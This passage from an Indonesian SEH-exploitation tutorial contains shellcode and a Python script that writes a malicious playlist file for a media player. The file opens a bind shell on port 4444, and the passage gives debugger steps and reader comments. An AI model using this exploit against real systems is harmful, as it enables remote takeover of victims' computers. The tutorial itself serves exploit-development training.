shellcode += b"\xaf\xd3\x21\x17\x27\x2e\xf4\x91\x13\xa5\x12"
shellcode += b"\xea\x5f\x7a\xa3\xe8\x8d\xf7\xc3\xe7\xb0\xf9"
shellcode += b"\xa3\xe8\xf8\xc5\xcc\x7f\xb0\xf9\xa3\xe8\x3b"
shellcode += b"\xc0\xcf\x61\xb0\xf9\xa3\x17\x27\x59\x9a\xcd"
shellcode += b"\x2e\xd3\x21\xe8\x2c\x41\x90\x80\xc6\xcf\xa3"
shellcode += b"\xd7\x18\x1d\x02\xea\x5d\x75\xa2\x62\xb2\x4a"
shellcode += b"\x33\xc4\x6b\x10\xf5\x81\xc2\x68\xd0\x90\x89"
shellcode += b"\x2c\xb0\xd4\x1f\x7a\xa2\xd6\x09\x7a\xba\xd6"
shellcode += b"\x19\x7f\xa2\xe8\x36\xe0\xcb\x06\xb0\xf9\x7d"
shellcode += b"\x60\x01\x7a\xb2\x7f\x7f\x44\xfc\x07\x52\x4c"
shellcode += b"\x0b\x55\xf4\xdc\x41\x22\x19\x44\x52\x15\xf2"
shellcode += b"\xb1\x0b\x55\x73\x2a\x88\x8a\xcf\xd7\x14\xf5"
shellcode += b"\x4a\x97\xb3\x93\x3d\x43\x9e\x80\x1c\xd3\x21"
file = 'sploit-5.plf'
buf = b'A' * 868
nseh = b'\xeb\x08\x90\x90' #lompat sebanyak 8 bytes
seh = b'\x94\x04\x02\x64' #0x64020494 pop edi pop esi ret MediaPlayerCtrl.dll
nops = b'\x90' * 16 #NOPsled
sisa = b'\xcc' * (5000 - len(buf+nseh+seh+shellcode))
payload = buf+nseh+seh+nops+shellcode+sisa
f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()
Pada baris ke-44 saya menambahkan NOPsled sebanyak 16 byte supaya ketika instruksi \xeb\x08\x90\x90
(Next SEH) tereksekusi dan lompat sebanyak 8 byte, proses eksekusi akan mendarat di NOPsled untuk memberi jeda sebelum mencapai shellcode. Kita ulangi proses dengan debugger, jangan lupa memasang breakpoint pada alamat SEH di 0x64020494
. Picu penanganan kesalahan dengan Ctrl+Shift+F9 dan aliran proses akan mengarah ke POP POP RET. Ikuti prosesnya sampai ke Next SEH. Lalu lanjutkan dengan menekan F7 dan kita akan mendarat di NOPsled.
Jika dari posisi NOPsled tersebut kita lanjutkan dengan menekan F9 (Run), maka port 4444 seharusnya akan muncul sebagai akibat payload shell_bind_tcp
dari shellcode yang kita buat sebelumnya.
Jika koneksikan ke port 4444 tersebut menggunakan nc, maka:
w00t! Kita berhasil membuat eksploit dengan cara menyiasati SEH.
Literatur tambahan
Jika ingin membaca lebih detail tentang SEH, berikut literatur tambahan yang dapat dibaca:
- Structured Exception Handling
- A Crash Course on the Depths of Win32™ Structured Exception Handling
- Microsoft-specific exception handling mechanisms
Referensi
- Exploit writing tutorial part 3: SEH Based Exploits (Corelan)
- Windows Exploit Development – Part 6: SEH Exploits (Securitysift)
[…] Bagian 4: Menyiasati Structured Exception Handler (SEH) […]
Untuk program DVDXPlayer ini saya berhasil mendapatkan shell namun gagal untuk pop-up calculator, lalu saya menambahkan opsi EXITFUNC dengan value nya adalah thread namun calc.exe nya berjalan di background process. Btw thanks banget tulisannya pak, semoga sehat selalu. 🙂
Halo terima kasih batutahibnu17, untuk versi Windowsnya versi apakah? Mungkin ada bad characters yang belum teridentifikasi. Terima kasih juga mas, semoga kita semua sehat selalu 🙂